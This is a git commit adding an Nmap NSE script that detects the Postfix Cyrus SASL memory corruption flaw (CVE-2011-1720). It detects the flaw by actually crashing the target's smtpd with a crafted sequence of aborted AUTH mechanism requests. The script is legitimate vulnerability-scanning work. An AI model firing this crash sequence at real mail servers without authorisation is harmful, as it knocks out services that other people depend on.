summaryrefslogtreecommitdiffstats
path: root/scripts/smtp-vuln-cve2011-1720.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/smtp-vuln-cve2011-1720.nse')
-rw-r--r--scripts/smtp-vuln-cve2011-1720.nse285
1 files changed, 285 insertions, 0 deletions
diff --git a/scripts/smtp-vuln-cve2011-1720.nse b/scripts/smtp-vuln-cve2011-1720.nse
new file mode 100644
index 0000000..3140249
--- /dev/null
+++ b/scripts/smtp-vuln-cve2011-1720.nse
@@ -0,0 +1,285 @@
+local shortport = require "shortport"
+local smtp = require "smtp"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local vulns = require "vulns"
+
+description = [[
+Checks for a memory corruption in the Postfix SMTP server when it uses
+Cyrus SASL library authentication mechanisms (CVE-2011-1720). This
+vulnerability can allow denial of service and possibly remote code
+execution.
+
+Reference:
+* http://www.postfix.org/CVE-2011-1720.html
+]]
+
+---
+-- @usage
+-- nmap --script=smtp-vuln-cve2011-1720 --script-args='smtp.domain=<domain>' -pT:25,465,587 <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 25/tcp open smtp
+-- | smtp-vuln-cve2011-1720:
+-- | VULNERABLE:
+-- | Postfix SMTP server Cyrus SASL Memory Corruption
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2011-1720 BID:47778
+-- | Description:
+-- | The Postfix SMTP server is vulnerable to a memory corruption vulnerability
+-- | when the Cyrus SASL library is used with authentication mechanisms other
+-- | than PLAIN and LOGIN.
+-- | Disclosure date: 2011-05-08
+-- | Check results:
+-- | AUTH tests: CRAM-MD5 NTLM
+-- | Extra information:
+-- | Available AUTH MECHANISMS: CRAM-MD5 DIGEST-MD5 NTLM PLAIN LOGIN
+-- | References:
+-- | http://www.postfix.org/CVE-2011-1720.html
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1720
+-- |_ https://www.securityfocus.com/bid/47778
+
+author = "Djalal Harouni"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "vuln"}
+
+
+portrule = shortport.port_or_service({25, 465, 587},
+ {"smtp", "smtps", "submission"})
+
+local AUTH_VULN = {
+ -- AUTH MECHANISM
+ -- killby: a table of mechanisms that can corrupt and
+ -- overwrite the AUTH MECHANISM data structure.
+ -- probe: max number of probes for each test
+ ["CRAM-MD5"] = {
+ killby = {["DIGEST-MD5"] = {probe = 1}}
+ },
+ ["DIGEST-MD5"] = {
+ killby = {}
+ },
+ ["EXTERNAL"] = {
+ killby = {}
+ },
+ ["GSSAPI"] = {
+ killby = {}
+ },
+ ["KERBEROS_V4"] = {
+ killby = {}
+ },
+ ["NTLM"] = {
+ killby = {["DIGEST-MD5"] = {probe = 2}}
+ },
+ ["OTP"] = {
+ killby = {}
+ },
+ ["PASSDSS-3DES-1"] = {
+ killby = {}
+ },
+ ["SRP"] = {
+ killby = {}
+ },
+}
+
+-- parse and check the authentication mechanisms.
+-- This function will save the vulnerable auth mechanisms in
+-- the auth_mlist table, and returns all the available auth
+-- mechanisms as a string.
+local function chk_auth_mechanisms(ehlo_res, auth_mlist)
+ local mlist = smtp.get_auth_mech(ehlo_res)
+
+ if mlist then
+ for _, mech in ipairs(mlist) do
+ if AUTH_VULN[mech] then
+ auth_mlist[mech] = mech
+ end
+ end
+ return table.concat(mlist, " ")
+ end
+ return ""
+end
+
+-- Close any remaining connection
+local function smtp_finish(socket, status, err)
+ if socket then
+ smtp.quit(socket)
+ end
+ return status, err
+end
+
+-- Tries to kill the smtpd server
+-- Returns true, true if the smtpd was killed
+local function kill_smtpd(socket, mech, mkill)
+ local killed, ret = false
+ local status, response = smtp.query(socket, "AUTH",
+ string.format("%s", mech))
+ if not status then
+ return status, response
+ end
+
+ status, ret = smtp.check_reply("AUTH", response)
+ if not status then
+ return smtp_finish(socket, status, ret)
+ end
+
+ -- abort authentication
+ smtp.query(socket, "*")
+
+ status, response = smtp.query(socket, "AUTH",
+ string.format("%s", mkill))
+ if status then
+ -- abort the last AUTH command.
+ status, response = smtp.query(socket, "*")
+ end
+
+ if not status then
+ if string.match(response, "connection closed") then
+ killed = true
+ else
+ return status, response
+ end
+ end
+
+ return true, killed
+end
+
+-- Checks if the SMTP server is vulnerable to CVE-2011-1720
+-- Postfix Cyrus SASL authentication memory corruption
+-- http://www.postfix.org/CVE-2011-1720.html
+local function check_smtpd(smtp_opts)
+ local socket, ret = smtp.connect(smtp_opts.host,
+ smtp_opts.port,
+ {ssl = false,
+ recv_before = true,
+ lines = 1})
+
+ if not socket then
+ return socket, ret
+ end
+
+ local status, response = smtp.ehlo(socket, smtp_opts.domain)
+ if not status then
+ return status, response
+ end
+
+ local starttls = false
+ local auth_mech_list, auth_mech_str = {}, ""
+
+ -- parse server response
+ for _, line in pairs(stringaux.strsplit("\r?\n", response)) do
+ if not next(auth_mech_list) then
+ auth_mech_str = chk_auth_mechanisms(line, auth_mech_list)
+ end
+
+ if not starttls then
+ starttls = line:match("STARTTLS")
+ end
+ end
+
+ -- fallback to STARTTLS to get the auth mechanisms
+ if not next(auth_mech_list) and smtp_opts.port.number ~= 25 and
+ starttls then
+
+ status, response = smtp.starttls(socket)
+ if not status then
+ return status, response
+ end
+
+ status, response = smtp.ehlo(socket, smtp_opts.domain)
+ if not status then
+ return status, response
+ end
+
+ for _, line in pairs(stringaux.strsplit("\r?\n", response)) do
+ if not next(auth_mech_list) then
+ auth_mech_str = chk_auth_mechanisms(line, auth_mech_list)
+ end
+ end
+ end
+
+ local vuln = smtp_opts.vuln
+ vuln.check_results = {}
+ if (#auth_mech_str > 0) then
+ vuln.extra_info = {}
+ table.insert(vuln.extra_info,
+ string.format("Available AUTH MECHANISMS: %s", auth_mech_str))
+
+ -- maybe vulnerable
+ if next(auth_mech_list) then
+ local auth_tests = {}
+
+ for mech in pairs(auth_mech_list) do
+ for mkill in pairs(AUTH_VULN[mech].killby) do
+
+ if auth_mech_list[mkill] then
+ auth_tests[#auth_tests+1] = mech
+
+ local probe = AUTH_VULN[mech].killby[mkill].probe
+
+ for p = 1, probe do
+ status, ret = kill_smtpd(socket, mech, mkill)
+ if not status then
+ return smtp_finish(nil, status, ret)
+ end
+
+ if ret then
+ vuln.state = vulns.STATE.VULN
+ table.insert(vuln.check_results,
+ string.format("AUTH tests: %s", table.concat(auth_tests, " ")))
+ table.insert(vuln.check_results,
+ string.format("VULNERABLE (%s => %s)", mech, mkill))
+ return smtp_finish(nil, true)
+ end
+
+ end
+
+ end
+
+ end
+ end
+
+ table.insert(vuln.check_results, string.format("AUTH tests: %s",
+ table.concat(auth_tests, " ")))
+ end
+ else
+ stdnse.debug2("Authentication is not available")
+ table.insert(vuln.check_results, "Authentication is not available")
+ end
+
+ vuln.state = vulns.STATE.NOT_VULN
+ return smtp_finish(socket, true)
+end
+
+action = function(host, port)
+ local smtp_opts = {
+ host = host,
+ port = port,
+ domain = stdnse.get_script_args('smtp-vuln-cve2011-1720.domain') or
+ smtp.get_domain(host),
+ vuln = {
+ title = 'Postfix SMTP server Cyrus SASL Memory Corruption',
+ IDS = {CVE = 'CVE-2011-1720', BID = '47778'},
+ description = [[
+The Postfix SMTP server is vulnerable to a memory corruption vulnerability
+when the Cyrus SASL library is used with authentication mechanisms other
+than PLAIN and LOGIN.]],
+ references = {
+ 'http://www.postfix.org/CVE-2011-1720.html',
+ },
+ dates = {
+ disclosure = {year = '2011', month = '05', day = '08'},
+ },
+ },
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local status, err = check_smtpd(smtp_opts)
+ if not status then
+ stdnse.debug1("%s", err)
+ return nil
+ end
+ return report:make_output(smtp_opts.vuln)
+end